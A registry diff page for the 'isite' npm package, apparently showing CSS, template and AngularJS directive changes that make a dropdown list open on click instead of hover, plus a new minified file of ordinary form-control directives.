isite 2024.8.10 → 2024.8.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/apps/client-side/site_files/css/bootstrap5-addon.css +3 -0
- package/apps/client-side/site_files/css/dropdown.css +9 -6
- package/apps/client-side/site_files/css/effect.css +1 -2
- package/apps/client-side/site_files/css/theme_paper.css +2 -0
- package/apps/client-side/site_files/html/directive/i-list.html +6 -4
- package/apps/client-side/site_files/js/bootstrap-5-directive.js +8 -17
- package/apps/client-side/site_files/js/bootstrap-5-directive.min.js +1 -0
- package/apps/client-side/site_files/js/directive.js +2 -20
- package/apps/client-side/site_files/js/directive.min.js +2 -2
- package/apps/client-side/site_files/js/site.js +80 -7
- package/lib/routing.js +30 -19
- package/lib/ws.js +63 -85
- package/lib/wsClient.js +112 -0
- package/package.json +2 -2
|
@@ -27,14 +27,17 @@
|
|
|
27
27
|
top: 0;
|
|
28
28
|
background: #eee;
|
|
29
29
|
}
|
|
30
|
-
.dropdown .dropdown-search i-
|
|
30
|
+
.dropdown .dropdown-search i-control2 {
|
|
31
31
|
display: inline-block;
|
|
32
32
|
width: 85%;
|
|
33
33
|
}
|
|
34
34
|
.dropdown .dropdown-search i-button button {
|
|
35
35
|
margin-top: 10px !important;
|
|
36
36
|
}
|
|
37
|
-
|
|
37
|
+
.dropdown .dropdown-search .btns {
|
|
38
|
+
width: 50px !important;
|
|
39
|
+
display: contents !important;
|
|
40
|
+
}
|
|
38
41
|
/* Links inside the dropdown */
|
|
39
42
|
.dropdown-content p {
|
|
40
43
|
color: black;
|
|
@@ -49,11 +52,11 @@
|
|
|
49
52
|
background-color: #bbbbbb;
|
|
50
53
|
}
|
|
51
54
|
|
|
52
|
-
/* Show the dropdown menu on hover
|
|
53
|
-
.dropdown:hover .dropdown-content
|
|
55
|
+
/* Show the dropdown menu on hover
|
|
56
|
+
.dropdown:not([disabled]):hover .dropdown-content,
|
|
57
|
+
.dropdown-content:hover {
|
|
54
58
|
display: block;
|
|
55
|
-
}
|
|
56
|
-
|
|
59
|
+
} */
|
|
57
60
|
|
|
58
61
|
i-list .dropdown-item {
|
|
59
62
|
display: inline-block !important;
|
|
@@ -58,10 +58,12 @@
|
|
|
58
58
|
|
|
59
59
|
--form-color: #000000;
|
|
60
60
|
--form-background-color: none;
|
|
61
|
+
|
|
61
62
|
--label-color : #000;
|
|
62
63
|
--label-font-size: 16px;
|
|
63
64
|
--label-font-weight: normal;
|
|
64
65
|
--label-text-align: var(--text-align);
|
|
66
|
+
--label-background : none;
|
|
65
67
|
|
|
66
68
|
--input-color: #0000ff;
|
|
67
69
|
--input-background-color: #ffffff;
|
|
@@ -1,18 +1,20 @@
|
|
|
1
1
|
<div class="dropdown i-list">
|
|
2
2
|
<div class="mb-3 {{class2}}">
|
|
3
3
|
<label class="form-label"> <span class="red bold"> {{requird}} </span> {{label}} </label>
|
|
4
|
-
<input
|
|
4
|
+
<input class="full-width text dropdown-text form-control {{css}}" v="{{v}}" readonly ng-model="ngModel.$display" />
|
|
5
5
|
</div>
|
|
6
6
|
|
|
7
7
|
<div class="dropdown-content">
|
|
8
8
|
<div class="dropdown-search" ng-show="showSearch">
|
|
9
|
-
<
|
|
10
|
-
|
|
9
|
+
<div class="row">
|
|
10
|
+
<div class="col"><i-control class="search" ng-model="_search"></i-control></div>
|
|
11
|
+
<div class="col btns"><i-button type="cancel" ng-click="updateModel(null)"></i-button> <i-button type="close" ng-click="updateModel(ngModel)"></i-button></div>
|
|
12
|
+
</div>
|
|
11
13
|
</div>
|
|
12
14
|
|
|
13
15
|
<div class="dropdown-item row" ng-repeat="item in items | filter:$filter" ng-click="updateModel(item)">
|
|
14
16
|
<p>{{getValue(item)}}</p>
|
|
15
|
-
<p class="small" ng-show="display2">
|
|
17
|
+
<p class="small" ng-show="display2">{{getValue2(item)}}</p>
|
|
16
18
|
</div>
|
|
17
19
|
</div>
|
|
18
20
|
</div>
|
|
@@ -362,7 +362,14 @@ app.directive('iList', [
|
|
|
362
362
|
}
|
|
363
363
|
$scope.searchElement = $(element).find('.dropdown .search input');
|
|
364
364
|
$scope.popupElement = $(element).find('.dropdown .dropdown-content');
|
|
365
|
-
|
|
365
|
+
let input = $(element).find('input.dropdown-text');
|
|
366
|
+
$(input).click((ev) => {
|
|
367
|
+
$scope.popupElement.css('display', 'block');
|
|
368
|
+
});
|
|
369
|
+
$scope.hide = function () {
|
|
370
|
+
$scope.popupElement.css('display', 'none');
|
|
371
|
+
};
|
|
372
|
+
|
|
366
373
|
if (typeof attrs.disabled !== 'undefined') {
|
|
367
374
|
attrs.disabled = 'disabled';
|
|
368
375
|
} else {
|
|
@@ -382,25 +389,9 @@ app.directive('iList', [
|
|
|
382
389
|
$scope.showSearch = !0;
|
|
383
390
|
}
|
|
384
391
|
|
|
385
|
-
let input = $(element).find('input.dropdown-text');
|
|
386
|
-
$(element).hover(
|
|
387
|
-
() => {
|
|
388
|
-
if (attrs.disabled !== 'disabled') {
|
|
389
|
-
$scope.popupElement.css('display', 'block');
|
|
390
|
-
}
|
|
391
|
-
},
|
|
392
|
-
() => {
|
|
393
|
-
$scope.popupElement.css('display', 'none');
|
|
394
|
-
}
|
|
395
|
-
);
|
|
396
392
|
$scope.focus = function () {
|
|
397
|
-
$('.i-list .dropdown-content').css('display', 'none');
|
|
398
|
-
$scope.popupElement.css('display', 'block');
|
|
399
393
|
$scope.searchElement.focus();
|
|
400
394
|
};
|
|
401
|
-
$scope.hide = function () {
|
|
402
|
-
$scope.popupElement.css('display', 'none');
|
|
403
|
-
};
|
|
404
395
|
|
|
405
396
|
$scope.getValue = function (item) {
|
|
406
397
|
let v = isite.getValue(item, $scope.display);
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
app.directive("iControl",function(){return{restrict:"E",require:"ngModel",scope:{v:"@",id2:"@",label:"@",type:"@",class2:"@",disabled:"@",ngModel:"=",ngChange:"&",ngKeydown:"&"},link:function(e,t,i,n){i.type=i.type||"text",e.id2=e.id2||"input_"+Math.random().toString().replace("0.",""),e.v=e.v||"",e.requird="",e.v.like("*r*")&&(e.requird="*"),void 0!==i.disabled?i.disabled="disabled":i.disabled="",e.class2=e.class2||""},template:"/*##client-side/directive/i-control.html*/"}}),app.directive("iTextarea",function(){return{restrict:"E",require:"ngModel",scope:{v:"@",label:"@",id2:"@",disabled:"@",rows:"@",ngModel:"=",ngChange:"&"},link:function(e,t,i,n){void 0!==i.disabled?i.disabled="disabled":i.disabled="",e.rows=e.rows||10,e.id2=e.id2||"input_"+Math.random().toString().replace("0.",""),$(t).find("textarea").focus(()=>{$(".popup").hide()})},template:"/*##client-side/directive/i-textarea.html*/"}}),app.directive("iContent",function(e,t){return{restrict:"E",scope:{v:"@",label:"@",id2:"@",disabled:"@",rows:"@",ngModel:"=",ngChange:"&"},link:function(i,n,a,l){void 0!==a.disabled?a.disabled="disabled":a.disabled="",i.stopReading=!1,i.rows=i.rows||10,i.id2=i.id2||"textarea_"+Math.random().toString().replace("0.",""),$(n).find("textarea").id=i.id2,$(n).find("textarea").focus(()=>{$(".popup").hide()}),i.handelContentElement=function(){if(!document.querySelector("#"+i.id2))return e(()=>{i.handelContentElement()},1e3),!1;window["content_"+i.id2]=WebShareEditor.create(i.id2,{toolbarItem:[["undo","redo"],["font","fontSize","formatBlock"],["bold","underline","italic","strike","subscript","superscript"],["removeFormat"],["fontColor","hiliteColor"],["outdent","indent"],["align","horizontalRule","list","table"],["link","image","video"],["preview","print"]],width:"100%",minHeight:"300px"}),i.ngModel&&window["content_"+i.id2]&&window["content_"+i.id2].setContents(i.ngModel),i.readingNow()},i.readingNow=function(){i.intravalReading=t(()=>{window["content_"+i.id2]&&(i.ngModel2=window["content_"+i.id2].getContents(),i.ngModel!==i.ngModel2&&(i.ngModel=i.ngModel2,i.changed()))},1e3)},i.handelContentElement(),i.changed=function(){e(()=>{i.ngChange&&i.ngChange()},100)},i.$watch("ngModel",e=>{clearInterval(i.intravalReading),e&&window["content_"+i.id2]&&i.ngModel2&&i.ngModel!==i.ngModel2&&(i.ngModel=e,window["content_"+i.id2].setContents(i.ngModel)),i.readingNow()})},template:"/*##client-side/directive/i-content.html*/"}}),app.directive("iCheckbox",function(e){return{restrict:"E",require:"ngModel",scope:{label:"@",id2:"@",ngDisabled:"@",ngModel:"=",ngChange:"&"},link:function(t,i,n,a){t.id2=t.id2||"input_"+Math.random().toString().replace("0.",""),t.changed=function(){e(()=>{t.ngChange&&t.ngChange()},100)}},template:"/*##client-side/directive/i-checkbox.html*/"}}),app.directive("iRadio",function(){return{restrict:"E",require:"ngModel",scope:{label:"@",group:"@",id2:"@",ngValue:"@",ngModel:"=",ngChange:"&"},link:function(e,t,i,n){void 0!==i.disabled?i.disabled="disabled":i.disabled="",e.group=e.group||i.ngModel.replaceAll(".","_"),e.id2=e.id2||"input_"+Math.random().toString().replace("0.","")},template:"/*##client-side/directive/i-radio.html*/"}}),app.directive("iButton",["$interval","$timeout",function(e,t){return{restrict:"E",scope:{label:"@",type:"@",class2:"@",loading:"@",click:"&",fa:"@"},link:function(e,i,n,a){e.type=e.type||"",e.class=e.class="btn-light",e.fa=e.fa||e.label?"":"fas fa-mouse-pointer",e.type.like("*add*|*new*")?(e.fa="fas fa-plus",e.class="btn-primary"):e.type.like("*update*|*edit*")?(e.fa="fas fa-edit",e.class="btn-warning"):e.type.like("*save*")?(e.fa="fas fa-save",e.class="btn-success"):e.type.like("*list*")?(e.fa="fas fa-list",e.class="btn-info"):e.type.like("unapprove")?(e.fa="fas fa-eject",e.class="btn-danger"):e.type.like("approve")?(e.fa="fas fa-check-double",e.class="btn-primary"):e.type.like("*view*|*details*|*show*")?(e.fa="fas fa-eye",e.class="btn-info"):e.type.like("*delete*|*remove*|*clear*")?(e.fa="fas fa-trash",e.class="btn-danger"):e.type.like("*exit*|*close*")?(e.fa="fas fa-times-circle",e.class="btn-danger"):e.type.like("*print*")?(e.fa="fas fa-print",e.class="btn-secondary"):e.type.like("*export*|*excel*")?(e.fa="fas fa-file-export",e.class="btn-light"):e.type.like("*import*")?(e.fa="fas fa-file-upload",e.class="btn-light"):e.type.like("*search*|*find*")?(e.fa="fas fa-search",e.class="btn-light"):e.type.like("*login*|*signin*")?(e.fa="fas fa-sign-in-alt",e.class="btn-light"):e.type.like("*logout*|*signout*")?(e.fa="fas fa-sign-out-alt",e.class="btn-light"):e.type.like("*push*")?(e.fa="fas fa-plus-circle",e.class="btn-primary"):e.type.like("*cancel*")?(e.fa="fas fa-minus-circle",e.class="btn-danger"):e.type.like("*upload*")?(e.fa="fas fa-upload",e.class="btn-light"):e.type.like("*up*")?(e.fa="fas fa-long-arrow-alt-up",e.class="btn-light"):e.type.like("*down*")?(e.fa="fas fa-long-arrow-alt-down",e.class="btn-light"):e.type.like("*reset*")?(e.fa="fas fa-sync-alt",e.class="btn-light"):e.type.like("*stop*")?(e.fa="fas fa-stop",e.class="btn-light"):e.type.like("*play*")?(e.fa="far fa-play-circle",e.class="btn-light"):e.type.like("*copy*")&&(e.fa="fas fa-copy",e.class="btn-light"),e.type.like("*default*")&&(e.class=""),e.class2&&(e.class=e.class2),e.onclick=function(){e.clickBusy=!0,t(()=>{e.clickBusy=!1},250)},e.$watch("loading",t=>{e.busy="true"===t})},template:"/*##client-side/directive/i-button.html*/"}}]),app.directive("iList",["$interval","$timeout","isite",function(e,t,i){return{restrict:"E",require:"ngModel",scope:{v:"@",label:"@",display:"@",display2:"@",disabled:"@",css:"@",space:"@",primary:"@",ngValue:"@",ngModel:"=",ngSearch:"=",ngChange:"&",ngGet:"&",ngAdd:"&",items:"=",activeValue:"="},link:function(e,n,a,l){e.primary=e.primary||"id",e.display=e.display||"name",e.display2=e.display2||"",e.space=e.space||" - ",a.ngValue=a.ngValue||"",e.v=e.v||"",e.requird="",e.v.like("*r*")&&(e.requird="*"),e.searchElement=$(n).find(".dropdown .search input"),e.popupElement=$(n).find(".dropdown .dropdown-content"),void 0!==a.disabled?a.disabled="disabled":a.disabled="",void 0===a.ngAdd?e.fa_add="fa-search":e.fa_add="fa-plus",e.ngSearch&&(e.showSearch=!0),e.ngGet&&(e.showSearch=!0);let d=$(n).find("input.dropdown-text");e.focus=function(){e.searchElement.focus()},e.getValue=function(t){let n=i.getValue(t,e.display);return n||""},e.getValue2=function(t){return e.display2&&i.getValue(t,e.display2)||""},e.getNgModelValue=function(t){return t&&e.display&&e.ngValue?i.getValue(t,e.display.replace(e.ngValue+".",""))||"":t&&e.display&&i.getValue(t,e.display)||""},e.getNgModelValue2=function(t){return t&&e.display2&&e.ngValue?i.getValue(t,e.display2.replace(e.ngValue+".",""))||"":t&&e.display2&&i.getValue(t,e.display2)||""},e.getNgValue=function(t){return t&&e.ngValue?i.getValue(t,e.ngValue):t},e.$watch("items",t=>{d.val(""),t&&t.forEach(t=>{if(e.display2){let i=e.getValue(t);i&&(i+=e.space),i+=e.getValue2(t),t.$display=i}else t.$display=e.getValue(t)}),t&&e.ngModel&&t.forEach(t=>{if(i.getValue(t,e.primary)==i.getValue(e.ngModel,e.primary)){if(e.ngModel=t,e.display2){let i=e.getValue(t);i&&(i+=e.space),i+=e.getValue2(t),t.$display=i}else t.$display=e.getValue(t);d.val(t.$display)}})}),e.$watch("ngModel",t=>{if(d.val(""),e.ngModel=t,t)if(e.display2){let i=e.getNgModelValue(t);i&&(i+=e.space),i+=e.getNgModelValue2(t),d.val(i)}else d.val(e.getNgModelValue(t))}),e.searchElement.on("input",()=>{t(()=>{a.ngGet?e.ngGet({$search:e.searchElement.val()}):e.$filter=e.searchElement.val()},100)}),e.updateModel=function(i){if(i)if(e.ngModel=e.getNgValue(i,e.ngValue),e.display2){let t=e.getNgModelValue(e.ngModel);t&&(t+=e.space),t+=e.getNgModelValue2(e.ngModel),d.val(t)}else d.val(e.getNgModelValue(e.ngModel));else e.ngModel=null,d.val("");t(()=>{e.ngChange&&e.ngChange()},100),e.hide()}},template:"/*##client-side/directive/i-list.html*/"}}]),app.directive("iChecklist",["$interval","$timeout",function(e,t){return{restrict:"E",required:"ngModel",scope:{label:"@",primary:"@",display:"@",class2:"@",ngModel:"=",items:"=",like:"&",ngChange:"&"},link:function(e,i,n,a){e.primary=e.primary||"id",e.display=e.display||"name",e.class2=e.class2||"col3",e.selectedItems=[],e.$watch("ngModel",t=>{e.reload()}),e.$watch("items",t=>{e.reload()}),e.reload=function(){e.selectedItems=[],e.ngModel&&(e.ngModel.forEach(t=>{e.selectedItems.push(t)}),e.items&&e.items.forEach(t=>{let i=!1;e.selectedItems.forEach(n=>{t[e.primary]===n[e.primary]&&(i=!0)}),t.$selected=!!i})),e.ngModel||(e.selectedItems=[],e.items&&e.items.forEach(e=>{e.$selected=!1}))},e.change=function(i){if(i.$selected){let t=!1;if(e.selectedItems.forEach(n=>{n[e.primary]===i[e.primary]&&(t=!0)}),!t){let t={...i};delete t.$selected,delete t.$$hashKey,e.selectedItems.push(t)}}else e.selectedItems.forEach((t,n)=>{t[e.primary]===i[e.primary]&&e.selectedItems.splice(n,1)});e.ngModel=e.selectedItems,t(()=>{e.ngChange&&e.ngChange()},100)}},template:"/*##client-side/directive/i-checklist.html*/"}}]),app.directive("iDate",function(e){return{restrict:"E",required:"ngModel",scope:{v:"@",id2:"@",label:"@",type:"@",class2:"@",disabled:"@",ngModel:"=",ngChange:"&",ngKeydown:"&"},link:function(e,t,i){e.id2=e.id2||"input_"+Math.random().toString().replace("0.",""),e.v=e.v||"",e.requird="",e.v.like("*r*")&&(e.requird="*"),void 0!==i.disabled?i.disabled="disabled":i.disabled="",e.class2=e.class2||"",e.model={},e.lang=site.session?site.session.lang:"en","ar"===e.lang?e.monthes=[{id:0,name:"يناير"},{id:1,name:"فبراير"},{id:2,name:"مارس"},{id:3,name:"ابريل"},{id:4,name:"مايو"},{id:5,name:"يونيو"},{id:6,name:"يوليو"},{id:7,name:"اغسطس"},{id:8,name:"سبتمبر"},{id:9,name:"اكتوبر"},{id:10,name:"نوفمبر"},{id:11,name:"ديسمبر"}]:e.monthes=[{id:0,name:"January"},{id:1,name:"February"},{id:2,name:"March"},{id:3,name:"April"},{id:4,name:"May"},{id:5,name:"June"},{id:6,name:"July"},{id:7,name:"August"},{id:8,name:"September"},{id:9,name:"October"},{id:10,name:"November"},{id:11,name:"December"}],e.$watch("ngModel",function(i){i?(i=new Date(i),e.model=e.model||{},e.model.selectedDay=site.addZero(i.getDate(),2),e.model.selectedMonth=e.monthes.find(e=>e.id==i.getMonth()),e.model.selectedYear=i.getFullYear(),$(t).attr("value",i.getTime()),e.ngModel1=new Date(i)):(e.model=e.model||{},e.model.selectedDay=null,e.model.selectedMonth=null,e.model.selectedYear=null,$(t).attr("value",""))}),e.setDay=function(){e.ngModel=new Date},e.updateDate=function(t){e.ngModel1&&(e.ngModel=e.ngModel1,e.editOnly=!1,e.ngChange&&e.ngChange())}},restrict:"E",require:"ngModel",scope:{v:"@",disabled:"@",label:"@",ngModel:"="},template:"/*##client-side/directive/i-date.html*/"}}),app.directive("iDatetime",function(){return{restrict:"E",required:"ngModel",scope:{v:"@",id2:"@",label:"@",type:"@",class2:"@",disabled:"@",ngModel:"=",ngChange:"&",ngKeydown:"&"},link:function(e,t,i){e.id2=e.id2||"input_"+Math.random().toString().replace("0.",""),e.v=e.v||"",e.requird="",e.v.like("*r*")&&(e.requird="*"),void 0!==i.disabled?i.disabled="disabled":i.disabled="",e.class2=e.class2||"",e.model={},e.lang=site.session?site.session.lang:"en","ar"===e.lang?e.monthes=[{id:0,name:"يناير"},{id:1,name:"فبراير"},{id:2,name:"مارس"},{id:3,name:"ابريل"},{id:4,name:"مايو"},{id:5,name:"يونيو"},{id:6,name:"يوليو"},{id:7,name:"اغسطس"},{id:8,name:"سبتمبر"},{id:9,name:"اكتوبر"},{id:10,name:"نوفمبر"},{id:11,name:"ديسمبر"}]:e.monthes=[{id:0,name:"January"},{id:1,name:"February"},{id:2,name:"March"},{id:3,name:"April"},{id:4,name:"May"},{id:5,name:"June"},{id:6,name:"July"},{id:7,name:"August"},{id:8,name:"September"},{id:9,name:"October"},{id:10,name:"November"},{id:11,name:"December"}],e.$watch("ngModel",function(i){i?(i=new Date(i),e.model=e.model||{},e.model.selectedDay=site.addZero(i.getDate(),2),e.model.selectedMonth=e.monthes.find(e=>e.id==i.getMonth()),e.model.selectedYear=i.getFullYear(),e.model.selectedHour=site.addZero(i.getHours(),2),e.model.selectedMinute=site.addZero(i.getMinutes(),2),e.ngModel1=new Date(i),e.ngModel2=new Date(0,0,0,i.getHours(),i.getMinutes()),$(t).attr("value",i.getTime())):(e.model=e.model||{},e.model.selectedDay=null,e.model.selectedMonth=null,e.model.selectedYear=null,e.model.selectedHour=null,e.model.selectedMinute=null,$(t).attr("value",""))}),e.setDay=function(){e.ngModel=new Date},e.updateDate=function(i){let n=$("#time_"+e.id2).val();e.ngModel1&&n&&(e.ngModel=new Date(e.ngModel1.getFullYear(),e.ngModel1.getMonth(),e.ngModel1.getDate(),n.split(":")[0],n.split(":")[1],0),e.editOnly=!1,$(t).attr("value",e.ngModel.getTime()),e.ngChange&&e.ngChange())}},restrict:"E",require:"ngModel",scope:{v:"@",disabled:"@",label:"@",ngModel:"="},template:"/*##client-side/directive/i-datetime.html*/"}}),app.directive("iFile",["$interval","isite","$timeout",function(e,t,i){return{restrict:"E",required:"ngModel",scope:{label:"@",view:"@",accept:"@",folder:"@",ngModel:"=",ngClick:"&",onSelected:"&",ngChange:"&"},link:function(e,n,a,l){e.label=e.label||"",e.folder=e.folder||"default",e.accept=e.accept?e.accept:"",e.viewOnly=void 0!==e.view;let d=$(n).find("input")[0],o=$(n).find("i-button")[0],s=$(n).find(".progress")[0],r=$(n).find(".progress-bar")[0];$(s).hide(),e.id=Math.random().toString().replace(".","_"),e.viewOnly||o.addEventListener("click",function(){d.click()}),d.addEventListener("change",function(){t.uploadFile(this.files,{folder:e.folder},(t,i,n)=>{n&&($(s).show(),e.value=n.loaded/n.total*100,r.style.width=e.value+"%",e.max=n.total,100===e.value&&$(s).hide()),i&&(e.ngModel=i,e.changed())}),e.ngModel=this.files[0].path,e.onSelected(this.files[0].path),e.$applyAsync()}),e.$watch("ngModel",e=>{e&&o.setAttribute("url",e)}),e.changed=function(){i(()=>{e.ngChange&&e.ngChange()},200)}},template:"/*##client-side/directive/i-file.html*/"}}]),app.directive("iImage",["$interval","isite","$timeout",function(e,t,i){return{restrict:"E",required:"ngModel",scope:{folder:"@",view:"@",accept:"@",ngModel:"=",ngClick:"&",ngChange:"&"},link:function(e,n,a,l){e.accept=e.accept?e.accept:"image/*",e.viewOnly=void 0!==e.view;let d=$(n).find("input")[0],o=$(n).find("img")[0],s=$(n).find(".progress")[0];$(s).hide(),e.upload=function(){e.viewOnly||d.click()},e.delete=function(){o.src=null,e.ngModel=null},d.addEventListener("change",function(){t.uploadImage(this.files,{folder:e.folder},(t,n,a)=>{a&&($(s).show(),e.value=a.loaded/a.total*100,e.max=a.total,$(s).css("width",e.value),100===e.value&&$(s).hide()),n&&(e.ngModel=n,e.ngChange&&i(()=>{e.ngChange()},200))})}),e.$watch("ngModel",e=>{e&&o.setAttribute("src",e.url)})},template:"/*##client-side/directive/i-image.html*/"}}]),app.directive("iAudio",["$interval","isite","$timeout",function(e,t,i){return{restrict:"E",required:"ngModel",scope:{folder:"@",view:"@",accept:"@",ngModel:"=",ngClick:"&",ngChange:"&"},link:function(e,n,a,l){e.folder=e.folder||"default",e.accept=e.accept?e.accept:".mp3",e.viewOnly=void 0!==e.view;let d=$(n).find("input")[0],o=$(n).find("audio")[0],s=$(n).find(".progress")[0];$(s).hide(),e.upload=function(){e.viewOnly||d.click()},e.delete=function(){e.ngModel=null,o.setAttribute("src",null)},d.addEventListener("change",function(){t.uploadAudio(this.files,{folder:e.folder},(t,n,a)=>{a&&($(s).show(),e.value=a.loaded/a.total*100,e.max=a.total,$(s).css("width",e.value),100===e.value&&$(s).hide()),n&&(e.ngModel=n,e.ngChange&&i(()=>{e.ngChange()},200))})}),e.$watch("ngModel",e=>{e&&(o.setAttribute("src",e.url),o.setAttribute("type","audio/mpeg"))})},template:"/*##client-side/directive/i-audio.html*/"}}]),app.directive("iVideo",["$interval","isite","$timeout",function(e,t,i){return{restrict:"E",required:"ngModel",scope:{folder:"@",view:"@",accept:"@",ngModel:"=",ngClick:"&",ngChange:"&"},link:function(e,n,a,l){e.folder=e.folder||"default",e.accept=e.accept?e.accept:".mp4",e.viewOnly=void 0!==e.view;let d=$(n).find("input")[0],o=$(n).find("video")[0],s=$(n).find(".progress")[0];$(s).hide(),e.upload=function(){e.viewOnly||d.click()},e.delete=function(){e.ngModel=null,o.setAttribute("src",null)},d.addEventListener("change",function(){t.uploadVideo(this.files,{folder:e.folder},(t,n,a)=>{a&&($(s).show(),e.value=a.loaded/a.total*100,e.max=a.total,$(s).css("width",e.value),100===e.value&&$(s).hide()),n&&(e.ngModel=n,e.ngChange&&i(()=>{e.ngChange()},200))})}),e.capture=function(){let t=document.createElement("canvas");t.width=o.videoWidth/4,t.height=o.videoHeight/4,t.getContext("2d").drawImage(o,0,0,t.width,t.height),e.ngModel.imageURL=t.toDataURL("image/jpeg")},o.addEventListener("canplay",function(t){i(()=>{e.capture()},2e3)},!1),e.$watch("ngModel",e=>{e&&(o.setAttribute("src",e.url),o.setAttribute("type","video/mp4"),o.load())})},template:"/*##client-side/directive/i-video.html*/"}}]),app.directive("iUpload",["$interval","isite",function(e,t){return{restrict:"E",scope:{label:"@",api:"@",type:"@",view:"@",ngClick:"&",onUploaded:"&"},link:function(e,i,n,a){let l=$(i).find("input")[0],d=$(i).find("button")[0],o=$(i).find("progress")[0];$(o).hide(),""!==n.view&&d.addEventListener("click",function(){l.click()}),l.addEventListener("change",function(){e.api&&t.upload(this.files,{api:e.api},(t,i,n)=>{n?($(o).show(),o.value=n.loaded,o.max=n.total):i&&e.onUploaded&&e.onUploaded({$data:i})})})},template:"/*##client-side/directive/i-upload.html*/"}}]),app.directive("iTreeview",["$interval","$timeout","isite",function(e,t,i){return{restrict:"E",require:"ngModel",scope:{v:"@",label:"@",display:"@",display2:"@",disabled:"@",space:"@",primary:"@",ngValue:"@",ngModel:"=",ngSearch:"=",ngChange:"&",ngClick:"&",ngAdd:"&",ngNode:"&",ngEdit:"&",ngDelete:"&",nodes:"="},link:function(e,t,i,n){i.display=i.display||"name",i.primary=i.primary||"id",i.space=i.space||" ",i.ngValue=i.ngValue||"",e.source={},e.setNodes=function(t){t.nodes.forEach(t=>{t.nodes=t.nodes||[],e.nodes.forEach(e=>{if(e.$parent_id==t.id){e.v_display=e.v_display||"",e.v_display+=e[i.display];let n=!1;t.nodes.forEach(t=>{t.id==e.id&&(n=!0)}),n||t.nodes.push(e)}}),e.setNodes(t)})},e.v_nodes=[],e.$watch("ngModel",t=>{t&&(e.ngModel=t,e.ngModel.v_display=e.ngModel.v_display||t[i.display])}),e.$watch("nodes",t=>{e.v_nodes=[],t&&(t.forEach(t=>{if(t.$parent_id=t.parent_id||t.parentId||0,t.v_display=t.v_display||"",t.v_display+=t[i.display],0==t.$parent_id){let i=!1;e.v_nodes.forEach(e=>{e.id==t.id&&(i=!0)}),i||e.v_nodes.push(t)}}),e.v_nodes.forEach(n=>{n.nodes=n.nodes||[],t.forEach(e=>{if(e.$parent_id=e.parent_id||e.parentId||0,e.$parent_id==n.id){e.v_display=e.v_display||"",e.v_display+=e[i.display];let t=!1;n.nodes.forEach(i=>{i.id==e.id&&(t=!0)}),t||n.nodes.push(e)}}),e.setNodes(n)}))})},template:"/*##client-side/directive/i-treeview.html*/"}}]),app.directive("iTreenode",["$interval","$timeout","isite",function(e,t,i){return{restrict:"E",require:"ngModel",scope:{v:"@",label:"@",display:"@",display2:"@",disabled:"@",space:"@",primary:"@",ngValue:"@",ngChange:"&",ngClick:"&",ngAdd:"&",ngEdit:"&",ngDelete:"&",ngModel:"=",ngSearch:"=",nodes:"=",nodes:"="},link:function(e,t,i,n){i.display=i.display||"name",i.primary=i.primary||"id",i.space=i.space||" ",i.ngValue=i.ngValue||"",e.nodes=e.nodes||[],e.v_nodes=[],e.$watch("nodes",t=>{e.v_nodes=[],t&&t.forEach((e,t)=>{e.nodes&&e.nodes.forEach((t,n)=>{t.$parent_id=t.parent_id||e.id,t.v_display=e.v_display||" ",t.v_display+=" - "+t[i.display]})})}),e.updateParentModal=function(t,i){t&&(t.ngModel=i,t.$parent&&e.updateParentModal(t.$parent,i))},e.unSelectParent=function(t){t&&t.nodes&&(t.nodes.forEach(e=>{e.$selected=!1}),t.$parent&&e.unSelectParent(t.$parent))},e.unSelectNodes=function(t){t&&t.forEach(t=>{t.$selected=!1,t.nodes&&e.unSelectNodes(t.nodes)})},e.updateModal=function(t){e.ngModel=t,e.updateParentModal(e.$parent,t)},e.selected=function(t){e.unSelectParent(e.$parent),e.unSelectNodes(e.nodes),t.nodes&&t.nodes.forEach(e=>{e.$selected=!1}),t.$selected=!0}},template:"/*##client-side/directive/i-treenode.html*/"}}]);
|
|
@@ -668,12 +668,6 @@ app.directive('iControl', function () {
|
|
|
668
668
|
attrs.disabled = '';
|
|
669
669
|
}
|
|
670
670
|
|
|
671
|
-
$(element)
|
|
672
|
-
.find('input')
|
|
673
|
-
.focus(() => {
|
|
674
|
-
$('.i-list .dropdown-content').css('display', 'none');
|
|
675
|
-
});
|
|
676
|
-
|
|
677
671
|
scope.$watch(attrs.ngModel, function (v) {});
|
|
678
672
|
},
|
|
679
673
|
template: `
|
|
@@ -953,22 +947,11 @@ app.directive('iList', [
|
|
|
953
947
|
}
|
|
954
948
|
|
|
955
949
|
let input = $(element).find('input');
|
|
956
|
-
|
|
957
|
-
() => {
|
|
958
|
-
$scope.popupElement.css('display', 'block');
|
|
959
|
-
},
|
|
960
|
-
() => {
|
|
961
|
-
$scope.popupElement.css('display', 'none');
|
|
962
|
-
}
|
|
963
|
-
);*/
|
|
950
|
+
|
|
964
951
|
$scope.focus = function () {
|
|
965
|
-
$('.i-list .dropdown-content').css('display', 'none');
|
|
966
|
-
$scope.popupElement.css('display', 'block');
|
|
967
952
|
$scope.searchElement.focus();
|
|
968
953
|
};
|
|
969
|
-
|
|
970
|
-
$scope.popupElement.css('display', 'none');
|
|
971
|
-
};
|
|
954
|
+
|
|
972
955
|
|
|
973
956
|
$scope.getValue = function (item) {
|
|
974
957
|
let v = isite.getValue(item, $scope.display);
|
|
@@ -1043,7 +1026,6 @@ app.directive('iList', [
|
|
|
1043
1026
|
$timeout(() => {
|
|
1044
1027
|
$scope.ngChange();
|
|
1045
1028
|
});
|
|
1046
|
-
$scope.hide();
|
|
1047
1029
|
};
|
|
1048
1030
|
},
|
|
1049
1031
|
template: `/*##client-side/directive-core/i-list.html*/`,
|
|
@@ -1,2 +1,2 @@
|
|
|
1
|
-
